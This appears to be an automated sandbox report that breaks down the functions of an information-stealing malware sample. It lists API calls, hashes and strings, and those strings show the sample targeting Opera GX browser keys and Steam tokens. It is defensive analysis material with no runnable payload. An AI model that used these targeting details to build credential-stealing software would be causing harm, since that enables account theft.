Function 0040C95C Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 286COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

StrCmpCA.SHLWAPI(?,Opera GX,00436853,0043684B,?,?,?), ref: 0040C98F

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 0040819F: StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,0040CC90,?,?), ref: 004081E5

Strings

Opera GX, xrefs: 0040C97F

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$AttributesFileFolderPathlstrlen
String ID: Opera GX
API String ID: 1719890681-3280151751
Opcode ID: 91349af9fc11f51cdd66d8c095bcc11cf00554399c61268dd0ddd9e0b6a94c24
Instruction ID: 2f838092edd703084741f82f1e37e62fc4a331bb811b3281c0e98dae42c078f1
Opcode Fuzzy Hash: 91349af9fc11f51cdd66d8c095bcc11cf00554399c61268dd0ddd9e0b6a94c24
Instruction Fuzzy Hash: 3FB1FD7294011DABCF10FFA6DE425CD7775AF04308F51013AF904771A1DBB8AE8A8B99

Function 00407B0B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00000002,00000002,?,?,?,?,00407C56,?), ref: 00407B8A

Strings

, xrefs: 00407B5D

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-3916222277
Opcode ID: 12037c8daa12d7fcab0069a5037541411d8429e4b00213a69a2087787070dd30
Instruction ID: 7cbd0eafb3405f1822ca0081af98c781be9845726f70e814ec0c9ffce599534c
Opcode Fuzzy Hash: 12037c8daa12d7fcab0069a5037541411d8429e4b00213a69a2087787070dd30
Instruction Fuzzy Hash: 14119D71908509ABDB20DF94C684BAAB3F4FB00348F144466D641E32C0D33CBE85D75B

Function 004170C7 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 45stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

lstrlenA.KERNEL32(?), ref: 0041710E

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

Strings

Soft\Steam\steam_tokens.txt, xrefs: 0041711E

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$CreateObjectSingleThreadWaitlstrcat
String ID: Soft\Steam\steam_tokens.txt
API String ID: 502913869-3507145866
Opcode ID: cc6fcce903024a9fea6a23bafcd441d12855246dee4bda35170fe48c24b99249
Instruction ID: 271d1becf7a3678e07a024325e19a0bcf1d7841c1b1dc1186d3e3fa3453cba64
Opcode Fuzzy Hash: cc6fcce903024a9fea6a23bafcd441d12855246dee4bda35170fe48c24b99249
Instruction Fuzzy Hash: BA017531E0010867CF00FBE6DD478CD7B74AF04358F504136FA0073152D778AA8A86D5

Function 00411E1F Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

Strings

1iA, xrefs: 00411E47

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID: 1iA
API String ID: 3494564517-1863120733
Opcode ID: ab387d88e84e58f7ee09dd024291177f022f73d374550d18fdbda7562f7ae9e7
Instruction ID: dc66f3ebc75c526b8f29ca666c763a1a9938aadc44e5483d7dab6bcf02b3e8fe
Opcode Fuzzy Hash: ab387d88e84e58f7ee09dd024291177f022f73d374550d18fdbda7562f7ae9e7
Instruction Fuzzy Hash: 08E02B3AA41B201FC7724BAA8804AB7BB5A9FC2F61B18412BDF49CB324D535CC4182E4

Function 00409072 Relevance: 2.7, APIs: 2, Instructions: 163stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

lstrlenA.KERNEL32(?), ref: 00409209
lstrlenA.KERNEL32(?), ref: 00409224

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 718311eb3050d98c9a531c4c409263d505852a46ec7b88af86700a363608c163
Instruction ID: 7980a2431a17434d4a9fc19140cc267ce1297f5f23c66c0477910a4dd415bd4c
Opcode Fuzzy Hash: 718311eb3050d98c9a531c4c409263d505852a46ec7b88af86700a363608c163
Instruction Fuzzy Hash: 5A513D71A00119ABCF01FBA5EE468DD7775AF04309F50002AF500B71A2DBB8AE898B99

Function 004077F8 Relevance: 2.6, APIs: 2, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040,00000000,?,?,?,00407C18,?,?), ref: 0040784A
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00407874

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c062e49b8eac24d7b45a027ae12e9eff25198202155d78bc8260cd663ae55519
Instruction ID: 58502b0b00c881bab5b754626ee9ce4ad9b10c36d9ff74d45ae59ae86afa5875
Opcode Fuzzy Hash: c062e49b8eac24d7b45a027ae12e9eff25198202155d78bc8260cd663ae55519
Instruction Fuzzy Hash: C311B472A44705ABC724CFB8C989B9BB7F4EB40714F24483EE54AE7390E274B940C715

Function 0041CCCB Relevance: 2.5, APIs: 2, Instructions: 39COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0041CCDC

Part of subcall function 0041BC7F: lstrlenA.KERNEL32(?,0041CCED,0041CD8F,00000000,06400000,00000003,00000000,0041768F,.exe,00436C5C,00436C58,00436C54,00436C50,00436C4C,00436C48,00436C44), ref: 0041BCB1
Part of subcall function 0041BC7F: malloc.MSVCRT ref: 0041BCB9
Part of subcall function 0041BC7F: lstrcpyA.KERNEL32(00000000,?), ref: 0041BCC4

malloc.MSVCRT ref: 0041CD19

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: malloc$lstrcpylstrlen
String ID:
API String ID: 2974738957-0
Opcode ID: 4595bf6652bd861db47711c07eba1f475a4793355c0293ea92a90e9bc1e457ce
Instruction ID: fcaced55c1c361c3e27715ea7ae3a17afdad1615e326a9d39dd71d0aa4f9bcfc
Opcode Fuzzy Hash: 4595bf6652bd861db47711c07eba1f475a4793355c0293ea92a90e9bc1e457ce
Instruction Fuzzy Hash: 6BF0F0721412166BDB206F6AEC8098BBB94EB457A0F150037FD0997351EA38CC4086F9

Function 004185BE Relevance: 1.6, APIs: 1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cd0dd478d9f607c979a352132b68459f789e2a2a0c4ffcb15ea7dc3a842640c
Instruction ID: c1de0727e8417f3a856ade1607230127397a68712c8c4452783f7dfbc6220367
Opcode Fuzzy Hash: 1cd0dd478d9f607c979a352132b68459f789e2a2a0c4ffcb15ea7dc3a842640c
Instruction Fuzzy Hash: D7514F71901240BFCA617BAE854DEF5B2D6AFA0328F14048FB404AA272DF6D8DD05D6D

Function 00407BD2 Relevance: 1.6, APIs: 1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4aee46d942c90ee67f27d5e8fe5d8177bbf388d1cde3035c6f676b54f388a22
Instruction ID: 6bc4e95e4b4d41cd45bcf0090cf4f159da268bf51a5422b08fd3501f4d4963e9
Opcode Fuzzy Hash: f4aee46d942c90ee67f27d5e8fe5d8177bbf388d1cde3035c6f676b54f388a22
Instruction Fuzzy Hash: 01319E71D0C2149FDF16DF55D8808AEBBB1EF84354B20816BE411B7391D738AE41DB9A

Function 00411DBC Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 352223032d3244ad9dc512ea0f38e2caed61f8f95f67dbfdd7722c11f9f2bd61
Instruction ID: 70aa0c5f5db09bd9b177b6aa788367f122bed66c5b4d8e76533133e42ab6cc8a
Opcode Fuzzy Hash: 352223032d3244ad9dc512ea0f38e2caed61f8f95f67dbfdd7722c11f9f2bd61
Instruction Fuzzy Hash: B3F03AB2E0015DABDB15DF78DC909EEB7FCEB48204F0045BAB909D3281EA349F458B94

Function 00411D92 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: c785e1c56cc5dd1355e14f627ee0373bbc421026e3e3e1ef34d967437d0958bc
Instruction ID: 4d5d301e7642eb8bcabe02fa2709f808051272e3482dadb5ff4d38445e53d8c5
Opcode Fuzzy Hash: c785e1c56cc5dd1355e14f627ee0373bbc421026e3e3e1ef34d967437d0958bc
Instruction Fuzzy Hash: 56D05E31A00138578B5097A9FC044DEBB49CB817B5B005263FA6D9A2F0C265AD9242D8

Function 0041C440 Relevance: 1.3, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0041C451

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: f9060b93a179226b6bcb6403471e41fabc2e13e5dadf3889cf2d7472838e218b
Instruction ID: b821a3ed68e39ced0a1ee7d52ccadc00ba9e28cef2c83c113185a37151cab313
Opcode Fuzzy Hash: f9060b93a179226b6bcb6403471e41fabc2e13e5dadf3889cf2d7472838e218b
Instruction Fuzzy Hash: A221F6742007108FC320DF6ED495996B7F1FF49314B14486EEA8A8B722D776E880CB15

Function 00407EAE Relevance: 1.3, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00407EB5

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: cd808f50b226156c54d12c7445b6016a60ba6ba0c8715662d5550310cd1c8d18
Instruction ID: a2ed24522b90cf8d72a71430dfd18e5bb138dd64580460ce79602bb5834a96d0
Opcode Fuzzy Hash: cd808f50b226156c54d12c7445b6016a60ba6ba0c8715662d5550310cd1c8d18
Instruction Fuzzy Hash: EAE0EDB1A10108BFEB40DBA9D845A9EBBF8EF44254F1440BAE905E3281E670EE009B55

Non-executed Functions

Function 6C376C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C376CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C376D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C376D26

